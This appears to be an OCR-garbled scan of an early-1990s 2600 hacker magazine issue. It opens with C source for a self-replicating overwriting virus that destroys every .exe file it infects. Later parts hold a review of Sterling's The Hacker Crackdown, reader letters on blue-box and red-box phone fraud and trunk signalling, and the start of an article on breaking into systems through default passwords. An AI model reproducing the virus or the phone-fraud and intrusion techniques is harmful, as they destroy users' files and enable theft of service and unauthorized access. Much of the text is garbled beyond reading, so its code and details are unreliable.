by Infiltrator

C soems 1o ba the programming language of the 90's. 11 versatility
and abilty far the same code to be used an different compauter platforms
are tha reasons for this, Sa in & brief burst of programming energy |
have crealed thiz little C vinus. It's a basic ovensriting virus that aftacks
all .exe files in the directories off the main © direciory, The virus spreads
isel by ovarwriting the virus coda on top of the victim file. So the victim
file becomes yet another copy of the virus, 20 as ol lo reinfect, the
virus places g virus marker al the end of the victin file. Mo | knewr Bhat
this is not the best coding and that it could be improved and refined but
since I'm bop lazy 1o do that you will just have 1o suiler,

Mow the legal slul: Please do not use this vins te do any harm or
destruction, elc., etz This vires is for educalional use only and all thaf
good stuff. Have fun!

S THE SiMPLE OVERWRITING VIAUS *f
M CREATED BY INFILTRATOR By

Kincluda “ptdich”

#include “dir.h”

#inclide: “ia.h”

¥include “dos.R”

¥include “lentb.h”

._.-..-.T FEAERAR -.__.L-—.ml_l..l—.m_lmm .1_“"_1 |_|T|m ._-..m_r_m FEAFRERFS -..-_.

soruct Tk f bl i, bl

struct fima ft;

int done.donel fof marker=248 cornt=0vaize=19520drive;

FILE *wictim, ®virus,*I5

char chwe, buifer[MAXFATH| vsla mpiZ3]="HAPFY HAFFYT JOY J0Y]7;

struct ftime gotdigl; FLe v
setdil; /* Funtlion protobypes
dnaird args, chas *argy(ll; o ———————  —- Ll

__.i-..-..- FEAFES g._u._z H_I_ E_U._l__”vz _"_l.n_n..m-_ EEAFEERS I.-....
waid mainjint arge, char *asg+]] i* Slarl of main laag =/
.H .
dnalargo,zrgvl: * Call wirus repraduction func %
mn._n___.._.n___u._:_..r...__.___._..._n_u__._..._.I._" J* Get current directory */
drive = geldisk]l; 5 Zal corrent drive number *F
setdiskid | 5 Goto T driee ¥
chdir(™07); * Charge to root directory *f
donel= findfirst("*" &fblk1,FA_DIRECE /* Gat 15t directory *f
whilelldonalh{ M 5tart of loop ¥
chdirlffe'k1.f_remsl; M Changs fo direstony %
if i 1f = findfirst ™ ¥ eoea” Afblk2 D) == -1 H{ M No file to infect 4
chder (0] I* Back do root 4
donel=findnexti&ib k1, /* Getnaxt dir ¥
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iF )

T

H
ales { /" Yeg, infectable fle found *F
drglargeargyl /~ Call reproduction fune. %7
ehear[ ™), i Back to root *Y
dopel-findraxtiSfbdkTl /* Mex dirastory "
1
} i End losp Y
sondigkldomel; /4 Goto orginal diive f
chdirlpuiferk i* Goto ariginal dir Y
i i End af wirus
jredwesran® Eal OF MAIN FUMCTION, START OF OTHER FUNCTIONS """ sl it ¥
dnalint arge, char "argvild J Vs Tasks Furc
i
el = findfirssi= . exe” BHB DL * Find first “eme” file *f
whiled dare!
i
victim=fopeniFhtk f_name, rh+" ) #* Open File *f
fpaekiviction,-1,BEEK_ENDI™ Ga L gnd, look far marksr ®/
chagetcivctiml; M Get char ¥/

if ek == " %15 it the marker? YES Y/
HJ....EE?..E_._% / Den't Reinfest *f
done=findnexti &l /* Go o next ~exe’ file ®f

&l * = WO Anfect! %
_._..__ﬂn:_: i Get file date =/

wirus=fopeniargy 21 BT E /* Open host pragram */
wictim=fa unii#.?i.ﬁiw..:.... i fife 10 indosl ®/
wnile [oourd [ waize I* Copy virus cade 'S

{ I ot victim file *F

ye-getelvirugl; -/t This witl everarite *f
puteievictieml; the Nie tetally *f
Cod P+ ™ End regraduction *f

i
E:E:&nmi..ﬂul.f._.ﬁ_._._n_._..____. Put on wires stamp, opticaal %
dchassiwirusl; I Close Virws 1

Sosebvictinml; i Close Victim ¥/
wictirn=fopeniHalk _name,"ab™h /& Append toviction %
u_._ﬂ__au}.m:.._mﬂ.:__“." 7 wirus madier char %

fotoeabyictinmb * Clage file *f
seadiih /* Sat file date to original *7
paunt={s i* Feget Fle char counter !

donefirdnestBilblkl JF Mest file *f
1
1
1
gtrisct Ferme geldtil
i

/ Get griginat file date funs "

i Open fila 4
1* Get date
= Chose file
54 Beturn *f

.__.mn._m_._.T.*n_nnz_.T._u__F._.C.._m_._._ﬂJ_u_q_h
getftmetfifenotictimb R

Folg sedwictirm

rgturn
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1

setdti] i/ Sgt date to argingl funs

{
wicdi El.u_umnH}_.rzuam_._._n.._:”_._h 1 Cpen file *f
setftimelfilenobvictimd, &f1; i Set date "
felazabaotimh i* Close file *f
return 95 /4 Raturn *f

}

BOOK REVIEW

The Hacker Crackdown: Law and

Disandar of the Elacironic Fronbier
by Bruce Sterling
523.00, Bantam Books, 313 pages
Roview by The Devil's Advecats

The denizens ol oyberspace have
lang revered Bruca Stefling as ons of
cybariction’s earliest ploneers, MNow,
Svarling haz removed his slggl-edged
mirrarehades o cast a deep probing
loak Into the haan of our rmodarm-Gay
alactronic Trantier, The rasult is The
Hackar Crackdows, the latest aooounl
of the hacket cuiture and Sterling's first
foray inta ron-fielioa.

At Tiral glance, Crackdaws wiodid
appear to follow in the narrative
jooisieps of The Cuckeo's Egg and
Cybarpunk. The zeting B oybarspaca,
1990: year of the AT&T crash and the
altermath of Ma Bell's fragmentation;
yaar of Cperation Su rdanl, thi Athatla
raids, and the Legion of [oom
breakup; year of tha E911 decumen
ared the trial of HKnight Lightning; year
af the hacker crackdewn, and tha
formation of that bastion of compler
civil 1sartias, the Electronic Frantbar
Foundation. Upllke Guokeo and
Cyberpunk, rawever, Sterfing’s wik
dows not center arournd characters ard
events =0 much as the parallels ne
draws betwean them, Crackdown is 1ar
less slory and far more analysis.
Crackdown ks also personal. Missing is
tha detached and unblazed aleolness
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prpected of a [curnalisl. inteemingled
with the faciual aocounts, fof Instarsse,
are Staring's keen wit and inaighi:

"In ry opinlon, any teenager
grthrallsd by computers., fascinated by
ne ins and cals of compluter security,
anrd atracted Dy the lura of specialized
tarrns of Erowladge and pawer, wauld
o wedl 1o forget &1l abeut hackg ard
set hiz [or her) sighis on becoming &
Fed. Feds can trump hackers 21 almos!
every single thing hackers do,
including gathering Intalligenca,
undercoyver disguise, trashing, phans-
tapping, bBuUiding dossiars, retaoking,
and infiirating computer syslams....”

Siarling is fair. He ellectively gats
inta the psyche of hacker and anlorcer
alike, cftanlimes poking fun &t the
absurdity in both Tines of reasoning. Te
hackers he is honest and brutal:
*Phana phreaks pick on the weak.”
Bafors the sdvent of ANl hackars
exploited ATAT. Then thay drifted 1o
the Baby Bells whera Spufity Wit 1855
than steilar, From thera i1 was a
gradual regression al ng way dowrn 10
wcal PRI, the weakest Kids an the
block. &nd cartainly not the
migaccrperala aniies that aive rise [
*gigal Frem the rich” Robin Hood
excuses. To eaforcers he is aqually
briutal, charting a ehronicle of eiwil
liberly abuzas by the FEB|. Sacral
Sarvice, and lecal law enforcement
agencles.
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Ferhaps 1the Best reason to read
Crackdoan |3 to learn whal other books
heve regiecied 1o focus on: he abless
of pevwar by law enfofcement. hdssd, it
iz thess abuses thal are e main focss
of Serling’s work, One by one ha gives &
grim accaunt of the raids of 1080, 1the
Crachdown of cuttural genocida hat was
1o hawe as itz goal the complata and
ebsolula axtinction of hacking v 21 of 2
manifastaticns,

On February #1, 1990, Rebert
lzenkarg was rajded by the Sesret
Servics. ._.u_,_mq. shut daan his LUCE sita,
saized ety thousand dalers worth of
professianal equipmen as “evidence,”
cludimg some 1448 megabytes of files,
rnail, and data balonging 1o himsed and
his uzers. lzentarg was raher arresled
ror charged with any erlme. Teo years
later e wolld stil ba trying 10 gel his
egipment back. :

On Mareh 1, 1290, twenty-one-yess-
ol Erlk Bioodaxe was awakeoned by a
ravelver polnted &l hiz head. Secret
Senvica agenis seized everything even
rarmotaly elactrenic, including his
ielaphone. Blopdaxe was nelthar
arrpsted nor charged with any crime.
Two yaers later he weould s1ill be
wondering whera all hiz equipment went,

Memor was yel aasher victim of she
Crackdown. Secret Sarvice agents
‘rousted him and his wite from bed in
thair urdfenwear,” and procasded to seize
thousands of dellars’ worth of work-
ralated compuisd equipment, inctuding
his wile's [ncomplate acsdamic thesis
stored on a hard disk. Twe years later
ard Menter would et ba waiting lor the
return of hiz equipment.

Then came the infamous Stave
Jacksen Games rax. Agsln, no ons
was arrested &nd no charges wirs
fllad. *Everything sppropriated was
afficially kept as ‘evidence’ of crimes
nayer speciiad ®

Bruyce Starling explaine (In an
unusual first-parzon shift in the
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narrative; thast it was this raid above ol
alse which compelled him 1o "put
goiencas liction aside until | had
discovered what had happened and
where this trautls had coms fram,”

Crackdpren cdminales with what is
perhaps the mas stunning exampla of
inusice outskde of the Stave Jackson
raid. Ahhough 1he trizl of Knighi
Lightning is over, il bitlarswee
memores still linger in 1ha _.h__mn.m..__.m
rhind of cybarspese. This, gher ak, was
the telal In whizh William __.a._.n_.,.._.n
rralicicushy tried {and failed] to convie
a {ledgling teanage journallst tor
printing a worthless garble ol
burasucratlc dreck oy Caiming that it
was in fact & £79,449 plece of
*praprigtary” coda. In an efian to
demonsirate 1he shear beredom &md
tediausness of the E941 decument,
and 1he absurdily of GCook's
_u:u_mﬂr_.:n:r.. Craskaown Includes a
hetry sampling of this document (a1 a
savings ol over 578,449 by Gook's
stardarda’).

Mot than any oiher book to dats,
Crackdown congsantrates on 1ha
poditical gt and grime of computer [aw
anforcemani, answaring Such
perennizl Tavesites 2z why doas the
Secret Service have anyihing to o
with hackers amyway? In Cracadown
wa [garn that something of 2 ceatest
axisls between the Secret Senvios and
the FEl when it comas to busling
hackers, Also ipuched upen ara the
“waling™ Firet Amendmant lssuss thal
haws sprung farth fram cybarspace.

Crackdown iz a year in the life of
the electronic frenter. For seme, a
forgeiten mota of antiguity; for olhers,
A speciral preamble of darker things to
carme. But far those whe thrive at the
cutting sdge of coybarspace,
Crachaaan is cardain to bridge those
distant points of light wilh s acodunt o
a year that will nel b Tergotien.
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IN CHINA, THEY DON'T ADD DIGITS TO THEIR PHONE NUMBERS
AT MIDNIGHT, OR 31N THE MORNING - THEY DO IT AT 23:48!
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Ble Box Questions

Teear 2R

AWELE I [ ondered o tmeoi ceiled Sy o T
wiz mepding abcul the pheas fompany 218 amc
aeeass & column abodt yed [ owoald Jike lo soeres
Aiffeorst nprrmiom G Exfenend inda peede and 1 ees
wenderng how £acls 10 aoose thrm, 1 wanl Lo kisw
Fow o sceve o Kew Polee tone, o STarl Dons, Sieeber
LE 1%, wned BF2. 1 glsa =pas i koow i L wesl 2o
Rasdin Swc eod bonght their 15 dellee phoae dader. if
1 ol b aole 1o gl @ repair s20p w0 modify o ®
can ochoms o Lonae?

A
oy gan, Wi

Lrperispeararon v reallp e caly wady 12 S R0MHT
suck MAlags $FAce Pere s xo much wa/GNas Te ern
regizas. The Mus box frogunsios ke fieea pabloid
weveral Emer fa 2000, ot reoently dn dhe Swaiod
FORT frm, Fool ra such beiier oM wach @ ponaiae Bl
Bk or demea Ealer rather than crpieg 1 noddh =
plane Haiur Br AR FurFoss
D 280N

Corie a few publivalions on the solpess of Bhzs
boming roacked the Dok pesss L2t year, The Dech
hecker ngazne fase-Fir privted v e fusspleie 58
of iretooctionn for wing the OUTIT -3 and -5 pyders
en intemetiondd selapiany lines Mol rewapepers
wepered 2o [seze pg wrll a=d ove ns ndie pEgem
1% gaid 1o have brondiasl & eampiens COITT-5
nofuence, WLCE gave an inlernaticeal pele phoce
cenredtlon o Zoe sesrtury of 35 Boch for Frem,

Afer sevemal anesepis (and @ skp-high izlechoar
w10, o sonehew mammgsd e saogmr my Mas o de
st ga—e ok fLe penénding DTMF ard CW5 ool
Bercawes Dol lephbene azthorlos limied O35 00+
Tainy it alreate on froe BGermetanal lires. vsing thic
system Bax beoume b el ek,

Sul the poin 1 want 39 maee tere in Tl aest
ol 0T iy b orach & as—ealled Wl inematioal
telaphonn cactarmpe Al this polor in their eerendsm,
thew Sesnnmert by osig the Clear Ferwand sigzel.
With See wnd XP2 they will e akle o el pima
Ny 2aiey in tme world Bul wha hopoess if dey gt
srick in @ non-transit exczaaget EFY wil nolle
aczepied, mo =y lodl (e, b that spesfic cudiliy]
Tk ez b 2210

1 dscoveced ot pos e wmsetemes gek back o
L= seigelng intrmatiomal noteesk oy usizg KPI
wizich e madeed e ol dileeonaner, The i il w
Tel the naticzil neiwosk of wour (lemperaZy)
Lestaatlon make she oslgeizg ecanection. For
irstance, by vaing Seixc KF10013134 i o S ]
o1 ihie linca T=om the Xettedand ro Jerland {landeods
R4y coeaszion wil ke mads & the alill poa-s0ped
reesint L pubieted & 2600 in May 1UEN Tten Sirst
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roro in b ode 05 she C-5 2 mulizg L gR, e
secend wroe Tagic ane thal gives you ek s dhe
pemationat linee ie. o the LEAL Alvos the s
gows Sar the Snlemen [iks (andcade 677} only an
celra pern iz nesded herg ratice she relasing in
Salomeons Seleplone petwerk, which meunds rzelly
heas ol
obe that in mas eruniices thi schave does =04
seemn io wock, Feel ses i s wx enzsnsion of your
porsakicg fols,
FhranhenzLrin
TEc Iricd aded from ey Fevherlands durulred
dialicg Jowlind Eraer (EA2T0RE nding 2 Clear
Forwasd, Salra, gad a AP T ndivaie o wimindi 200
oF dzewssic rally, (0w indi=ake d norcal <Al rhan 0
Falireed By ke rounyp codd amd spmber, Tl i

aa lenper warke,

Assorted Comments

Thear Jeiie

I emended the Wisler “¥1 Cumazsier Bleorronis
Emao in las Wigas Grem Jooeay 5-12 aod oow few
‘nlemaling mew procien Aldncgh G wese kol
15,000 cxrbnde, therr were maybs 1000 Copsuter
celate eahikize, and Da ooy of thoge were pewsr
BupTLE pSLLON LR, 1 2 sce wome ncdresing
o Ll SeCOriy prmdncls. Some Canpanies W
pochicg cheir Caflzr LY devices pnd aoilware, Our
safisvare Caller 10 symtem which i mn en wl 168
cieaaitsde wonld 327 cp 2l the caller's perinerl
mireratin [mime, eddiess, ple) and digiiend ghos
£iF avaddabde’ Erom a datal T Anpliy otk zorees
VTWE Eymespics Ine., 32 ‘Weer Braver O Boad.
Lnit 2, Richmood B, Onlars B4R JKI, Canads,
phoce 6 FIZ-RT0T0 T e saw porpde of regular
{Taller [ Bowes and an srregraled Caller [P pOone
with speakerphone aod memary disl wed s L5 ad 10
Zigir ingemizg numker wmemory [SyePerlcel
Flestrimin of St Francisos, phens (2150 B75. 33500

Oee prodnes 1 sas wes desigaed o colve the
pranley panseming bazk of peivecy oo gelinlr phoes
zals Sor sy i ooll wheoe seqirky was s cocEn
Tes Pritacoc: Fe15-C iz 3 poraiz dzv.ce which
scrambies toe pedin signal froos pous Cellilar ar
regular phome line ta be Sescrersbied by the sums
devies an the 2alled end. The devioe nffen 15 DiTecem
semumibiizg cades (mhich 1 acc wa porily Eled e male].
Tox cetrabe, the neer dale B prone conmlly. When
the call i mads sod venilmtion ik e ealed pardy
in eoelimed, & obde & chofen and bath partics ploce
their mocsivers enle T conpler of foe dovice azd pick
up s hoedset, Cor jor then + oAl
&1 apdia being mem=klad befose being sere over e
Zne dor thmeuch the air i= the case of cellnlar phenaul
The devize Ss4ld takes phout an moch roozs a5 2
peuble cellolar phone snil nom conlinziosdy 7 o -

Audury TE82

heom on luZedy powe. iSwdi Simike, Inc, PO Box
Dok, Galior, COE B33, pheas (318 4581560,
Additinnal enlen and tectaxel irfarmatioss Addicl
Ciem e ialiones, (51 51EX5R3 | or SO0L35 3 LT

[ wesi are vizited the chewss ol the Frodige heath.
1 weplda's =ave cven bathesed mo [ofelt txis
ursentmilakic erge 1o Lonfront iem with Lo
sllzpalions nrade eppins them menerrming the Posdipy
soflase scemnag o ueer's hosd drice in seares of
sdires pfemnation for mating popessi Aceed B
e imside krawladpe sl of e Awana L951 isme of
JERD thas Sercrited how Prodigy mook mail was
received sl o enmpats sddressed e nan-raislenl
“avople”, [ boyran % enplain 1o toem how e ey of
their liwde invasica of privacy seam wwan validaled
mevpsd reasonable doskr They pol p3sad! “We never
Azk et sald oo epckeswnman Do ¥oa mdira T
everyising oo mad?” whed wother, Uit agitaled
cperhoaman | ealiiod o, leeving roem chere = theie
angy wnl [listisd sine of Ioprhing Eeokizg buck
soliced then Jeerag of me, Beory Ume aller thes when
| waleas by them trey wene sED Lesrzg sk me. fime
tresl wander, iF they are s i2iocenl o TR mexalien,
why thoy Secame 5o defeneve mther Lan cx2iuin £
wwey with amiakle bosisow ol AL any e, [ ad =
pendd laept pming Cuom 2oulen

In the Sorurer 1961 meng, TR wesle mellag ol'a
uyx 12 place Incal malle using he Rado Shack Tene
[Faler Rl B, sayarg "k hove Fored [] e werd el
have tzated [i] all gver Califamin ™ Apeersally wol
dicd red dmvrl vemy far = your 1esting becxze it dnow
nel =ik in oy area of Mophers Califemin (5145 anka
podel, WhEe on e ki of the Bad Dok, recently a
Frirnd was usizg il W zall Hong Kong and encowsterd
gezie jarerestiig ATERT eporalor sResprigans,
Eanically, ky row it woold be mare than zalz o
ve=clode that #very phace eompany & the Uniced
Ysates in awars of the Redie S2ack Tong Tialer
temeenka ATLT mogl tave enee memes sincslaliog
sierng porper proeeduns Ter detocting Lnd g Bed
Bon sall frvzd. O ome poccsion, the opemecr loid ooy
frend he wis engerescing eamputer prolemi. He
sked hirm 3o oo &5 conta (2o Sitend sigoalled four
quazers wit hix Rel Boad and ce claimed chat i
win nel beitp recerved ox his sempatze s he was
poitg 1o pemam it My Triond plipel alog and 50id the
CpEIEIET I8 sad reoriez: the money back, pirhosgh b
that Eme he bed roelized ke had ok besnd U opesalior
el ol or the fell-tale clich irsile Uiz ploae of
the B g relay, The mpenier iked hom 5o e the
sy pghe, Wiich =y fiead did, gxd then daimed,
cner agan, 1o mave solumed i1, and asked my Eond if
ke getthe nuency, TEs ume my Trend sl no, 3o the
eperles sllanisd agha, f=is Eme for el My Toigned
Eeard the soemess rerenas il wd & oo ingide the
zanvphene, amd chiimed he had ganen his coire k.
“i'm going Le T polite aboul this,” ed the ATET
eperulat, "V maep thin Blle hisch bex with wocn fas
spapes theer extinadn.. " e coulinosd My fnend didn'e
twedher Lo hasar kim oof 20 Rimply e ap, whick: e
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regress becages who knoss @l e £2ay Dave laamed
My friend sed of the pight or =o gperlen he St
with e pight, thme of er caught oo 02 (8 Erd
Feox. We musl mew a5k onrsedves why, The ancwe
Zooan seguine bouss of Medy and womrch, as s
punhully eovlce: e thing 2 lee Semn Joud and 1o
Lamn eoprrserl Alss, il dosia’L el thal 152 taming
of the Red Box tenes is oif oy ¢ coeply oF
millisecosds, M soggesian® Flase a bark wind or
rradil cund ever the machpieee of e phons o =ule
the selome of e jones Lo whers hey ersn’C 52
blonandy phazy, Afler all, the extoal Coarsr 1028 15
peermied by ine ATET looy daianes Compii woe
barely zadikk themasclves, Also, it 2ookd’| bun o
pmgraT nnly e SUBEET I p0UT prisniy memary ind
pound Uit ol At incarseiend imiorrale Mind pos
theee suggesiices a6 only aroessary who dealing
with Lve opemlon s the ling, disliae C00Eners ane
Ear fremdlicr, which b kissd of scasy when yon think
phaart i Compalen FisetZer than Lve poople, 19 they
didn'L rels so Begslly on their dasssd compotors,
e y"E krve b comend Bl Boa Sad Dl Bor oo, o £
is, couzpeanesr ane TIEIE Y moce Wikt than humans, s
it saatmeee Yo, e live e sad worid, O well.

[N
Sheer Frustration

Dhear 24k

1 =ave emldled e Snllawing Kadern Timer - 4
Trama ia Toa Baay Acdn

isr Acts Reading the 2263 Magaziae of Awmn
1321 T Found oo pepe 26 0 lester fum G50 Scanle
"Belleore has a pew pablicalom Sileg. [oe Cataleg
of Ted=nizal [=fermntiin.™ Wrh o £4% on the mag
and e o2 the phone § dialed e 300 nocher geen.
Box the only thizp 1 2eerd wes @ Gemman =p< Lling
mis 3= chok Uhe posber or @l ghe epembe Oh 62!
Togse 028 T2 Nmelan the DHginal Decade!

Jaddrt: [ MeeTy caled the oprmalar and eaglained
my pribdece “WhalT 1 't Telawe Ul Yoo cen dial
ey BT o mele!™ win tie asmwer. Insisting on
my ot being denasd dub., [ gave the no=her L 2er
“Cheaw, L1105 it foo yon, Bl that will con extrz! Stay
oyt phees, 'l ol pes kach™

Frd Acts Bome minotes laier oy phens mang.
Oecmtor 'L ean’l g threugh... semp, Tl oy @l
e Inremational Trlgphene Manber Informatoen fura
Tacel mommoer.” Whal b congepr, 2aq orowizg Lae
widros or cves Lhe iy

Ok Az b guiek Jook al my pecaie “Tell-free
Telepkine Bperner Tataaae™ evealsd a0 ATET
L& Dipeel sanseclon Lo an operznar in te St
Mot very hopeliTy 1 dialed the member and bing! He
weould’L 2w dunned Ting Tor = withaul havisg en
ATAT Callisg, Card!

ik Art; Freertunlly 1 fense the tod-fros sushes
frem Gemany e ATRT o Bameas City, The 22 Inds
oid = Uaek there bre no ATET effive: o Gemans
[why bre Tew placing their sda hess 12 the timeT) arel
o [ read @ Winn Tand 7o ger g Calling Caml
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ik A SUEL 2 eedy Sow seender, [uied oo gec
8 Jomal zomher. For the poedes sdeiress Twanled 1o call
“Telezame of Spreghcd, WA ams toee, puge 310
Foc sorely dus inaging Wit Repaenad Eonr Cell
cinzor be complesed as dizled. " The Telrname
mrebey i S nomber!

Tk &6 ] eent 2 (s [this ore) e 2500 Mageriar,
asking Tor kelp. 5o plessc prigt a local elephans
ey for Bellonre in pole newt Sso, of 6 [t e
sedidrims, Thask sea

L L]
rermany

The mnler be goasmion, SERRAT- 2678, rzamiatan
a0 WE-G- 0 or WE-SELFENL. Wl iy 0o prict
frarrlatoas iy the Sdure

Mild Encryption

Daar 2o0ek
1 s purchaand mee of Lhe Melombe cordiioor (ol
pelh:iaz phones whoich ie mardelnd o havicg Sesoire
car” - @ mthid o =) pride wolos Loy pron of the
rad peimion
S frende apd [ iztered inowils our reecvens
and Lse asdin i indeed eulremely Silledl for casol
monileing, [T eeuld, kowsver, be criviel Foar any
EAMICIE SRESCE OF oooporais lape In kmwak through, ban
then 2guin theer ang the jeople whe’d he donp olher
thisggs a0 el
la shart, iv dees provide moderste [evels 6f
secority, Iz gffesk, you'se getling “wire grads™
protectios oy ey & el Lk
Tt= prece is quits ¢ kit bigh - abaoes 5200535,
depedicp on stere, Soalures, ele.
Danny
MNew York

Cable Hacking

Dear 2
T've hacked =y wey (oosph 08 phoce dr@em,
pofners emached o modeme, locks, &2 Xow 'm
Irmeremed in the cable sompany. Maghatlan Cakle in
particalar. How do theese a8dncgable ceavetdr bonss
e, anvhew? How doss fhe central ofce lum on
pay-perriew For =y box? Has anyone hacked U=ix
syslom pnd, iF 5oy o woes plesae publed: v infio 50
Tdeon"t have bn ol w1 the wek T
My iniered is porely in 2eckizg 12 understand and
Teist, nef 12 il sevvice!
1 awEene
=G
Dhar 31805
[ em on iddsserber and fnlly e20y BeUr megrros.
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Famwrd wRrs: EE (T win phe pecple wene!
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A FPhrone Mystery
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1 j=t mmried reading ruor wendsrfol perizdial
e fnsen agon 1w pous Aaname 1990 (gsus ar 8
liead okt T mttown ] ploesd op cos magazing
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in my ronm and thore wap thal same guy il o
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i mar inomy e When B new Ene g 62 Eooked
o2 Tae ol line socidn’t eok. | dide™t tunk atout f
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Thar i7 whar Aappesed 10 voa. Four old e war
dircganccied The phoas compsay dove ael reel
ahcar pRoacs nusbers for s peary, What they do
axtead iv Book wirer foahle poadea) logeler 47 d
i B0k, Joveley deea ntenfane, o [ T a0y digakl
2 thar b sdccd (T $Romd up b Sed ATerded iA0eE
Way? Beroxee rhey wake foir of sisrades, 182
Repsrard here al 25 suice 14 e poar e pean A
peod el & ks foncone beai pou bp anesesiag ohe
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ST FEMAY ALERAZET FOF s n-eaielend podpie GA 00T
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Many Questions
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which tomes (35E for IVTME, €553 For red hoa,
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oo par the srpelal in? [x thers @ geoeml KEemabe that
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Wa've boen publishing shreakieg igformacizn
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First of aTl, veu kave & greal TEER2ine & don't
change & taragh Howrver, 1 just meertly rovcived a
tonch of Sock insucy, s peslen me if some of thess
e iens s notdated of hat e been anseene aimady.

L1 How cen Dhely 2500 gnew Comfden Lhe wviogs
of eerding yeu muney1? 1 weald Lioe 1o dao some morl
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s=zall protdem since T e o fow theumand =l 2om
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e
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iy Kaul—an Sprachi?
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mail! 15 T deeide Lz shell oot =ayhe §75 for bk
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gatherng of phreaks in moms snbksewn cachanps The
the “ZL11™ sonfessnce & the Doober 19900 Esguing
prticle “Severs of 2ee Linle Ik Biog™ To me thet is
what phiralking = ol aboct - =olpimp other phasde, By
e way, [ e kmae thal jpoed con ™ e i Bde bod 0o 0o
s ansmmeer, hal pou imeenlive Fellos shocdd e aboe 3o
ant Lp il drsething tha wocdd wodk I yoa did
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W illlisms e oo of Do boak licl @ oalled The Phone
Fenk pnd the suther iz F. Fdwanl Hale, To D these,
j=4 po e pour local likaoy asd see if they have the
uach oo Hiowover, thew might oo bave tem a5 far
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Ergmare. Dhmcher LEVL, “Eecncta of the Litde Blue
Boa™,
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Kamparis, Tase 19T, “Fopulating the Faone
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Irdermpbed Cur Seviee™.

Kades Flesiraaior, Movembey LSET, "1 Bloe
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LA Werkiy, Ty 2828 1990, “The Phons A of
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caything el Fal comer Fo miied. You ogd coamiboge
1o ke NRCHEEEA ok 0w wrine BOS and mart otfer
Fereis o0 AaciiAg eckgdeos the cpantry. g deting
pecpe duaw kere Eroa place for Rem 1o doalvibule,
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Bl rem o e ddiog, W o’ wallh aboug E T, war weld
dafk pbout te SI5 ANAT when we Gl 61, 2ad we
can'l L=tk abesd Nolly Koufeude Sprack. We dgree tar
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actualy potten gaid We could Fend oul 2k arders
prdcker bt rhen o muzeyw oecpir eatuld eend faek de
thr muzl, which i @ preily rinkp thing ie itaill He'ne
hozing foF 4 maoman &F thied 1 foar weeds frow
srare w5 fimirk, o ancdarr asd hopefa iy orker
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1 ws reading an snizic Fom o isere of 26007
raled “Tlow Pure Threbx A-e Cacph? and il gre
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T ol W gt ceoghl pletiing and wher Frdautons
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Mot files, Dke “Phreaking Mede E-27 ificlitnu:
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1: Risg el test borrdfond bosy

27 Toer gide - loog Thighd
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ewrn Dunel s 50 rend 2% poblsitsn, BF 2restl, ga
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selder moarks on U=z dialer PC boird (where the
orgiaal 35Tinhe cryanal existed ). Nrck, soroecl onk

Antmn 19492

lead of Une eller mescory seitds o one lend =F the
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ot g ol Fening. Tixin b oo iher capse of & seanct
far Jmdg distance services thal sor usem wopld make
uas of o access DIEN, | ot PC Pusuil By Speint
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charglig polr preenl hemg dideeee proviser, A v,
or eayens BF JECE pware of acher doch low rosl
eevies? e Soperals b Fid Inw sns sooess Sor o
ueers We're b B servior amad i oweould Te o ehame i
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duzing lunch...” and »io knows w2ers the keli 2

Pape 30 2600 Magazine

rinda o afrer thal,
Phavday semnedesd this cones trie pi by swilng
the megzing 10 an opagoe plpsiic bag wil: e
Umszarenl mretice= fus ths address Dabel oo e
magazine il Alio. the Rl ddivew has ealy the
:.r____._h..m. oddress, o2 pell-ele TRLE b T Lo serraming
e el Y,
1wl mniinue b suppod seur magring dincegh
Dengarand und besk ieeoc saled {plesse macr them
Avilalte on un budic Blual veue Basial,
kD
Apstin TX
Thir dfoiohy Mot ast be Rapicdicg. We fuow
Ben haviag mre of o srohlem with domapad Bsan,
EiEEtay roneer, and eenriazer poed oppa g gware
Refre, Diveral), thee peaf e bas donr v znzing
Jeb T e pory condie i witk PAG receal plunzmer
e rompedency sadar dasarn, We Repe aee readees
comprarn dwudlp i aankics Rappeer e oshedr sgd T
wepield felp a far i anvbody seeding @ lorrer of
.....-.:.._...._n._......_. S MO n..n._.."..u_. S0 W ran preesd ar Az e
paricl progle o sar pad ®esr armred 57 O g aep
picrily eedier Far s, W' rowher a1 add packagiag
R IR Al S bolh cond and eecdogical resroag,
Were darrrcsred 14 Fearing mave fedback aa ki
WRE regards ko oo back Zrpuss, 1ade'dial iSower e
Santalye frem PREE ca al a mont o BT aack (5550
averrear) SRS rhrsgpd JEET g Snlp amatahle by
oo FEZS, X35 preprnnarl

Coamments From Abroad
T 2oy

Likc many cthere, ' naniced veore Peitnel
=gl Sadn'L cerrepend with wenr descriptiog, and
T'm even more delighted Lo dee voar O cade far
stinting them (T nnly fave b oo it 0 suil my
Iofngne.

The "ol Wir Friztes Visue™ eaprrsses pretty
miedh o rescliee - that i, © woulkin woek! Lake
POUIT RO RTINS B | evproend &% epinan oo the
Tnir=et and mosived somt Blensling rfermstion =
Januazy. Altheugh mosl pEWSpIPErs pod coizuler
[agaress fredinad the original article 45 ot Wali
Lirped Pourgal, bpresars The “rel” meiging] ancle was
f Tahdorld in the Apil 1, 1581 issze! ‘W noal me
el b e refanioug opepciong of the MSA Wl
enn be sdequetely Wamed on the idicey of cerain
TR,

On the cther hand. could & “princer simm™ slew
dowa o zorputer? 1 imagme it cocld, poovidad the
cospoler was memething relacnoely soow, like e 1B
XT or possildy AT. I all =ally Srpends oz Sow fhew
Ireat sheir parallel pricter port. TP they panerste
inlerrsprs mpoa ree=ipl ol a printer acknowledze
“pmal, then oo merely o0ed w0 £ the pricler In B
e schrnwledps Ene ol sy, S kibozeAr Thos soudd
probeily Kege moed TR0 Taofly boey and slow doss
e peiin ik zicely:

EL
Favkoatrikdge, Awidrida

(Continged on page 405
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hacking on the front line

by Al Uapane

As we have sean from previous
raidsbusts, the consegeences of being
caught by the federal govemment, ei. &
not worth i in the loag run, If they canrsd
crippls vou physically, then they will do it
emabonzlly or fnancially, Therefone 1 do
not recommerd that any action faksn Lo
gain unaushorized access is justifrable in
any way. However the choice (s yours.

People who desire 1o pel o 8
“secure’” sveiem should know a few tangs
aboat it First off, for me the word
“recurte” brings o wind a picters of a
hurnan monilering 2 wstem b 24 hours,
All ths nodes are walched idevidvally,
and everything is hardeopied. This 13
abvisusly, in most (if p2 oll) cases, nal
fe=asitle, as the man howrs andfer the cash
funding 1% nor-crisienl. Besides, tn a
system operatef, watching everything a
system does could be quite boong. The
hacker can caplaleee an dus.

The e thines & hacker shoald Snow
about when nEempling 1o gain aocess 10 a
swsiern an

1. Typical formats for the system.
f1e. haw vou fype n the Jogin sequence. Is
the Jagin aod pesgword on one conlinupes
linz, do youz have G Uppe 0 o separsicly at
diffesent prompls, el

2. Default and common passwords.
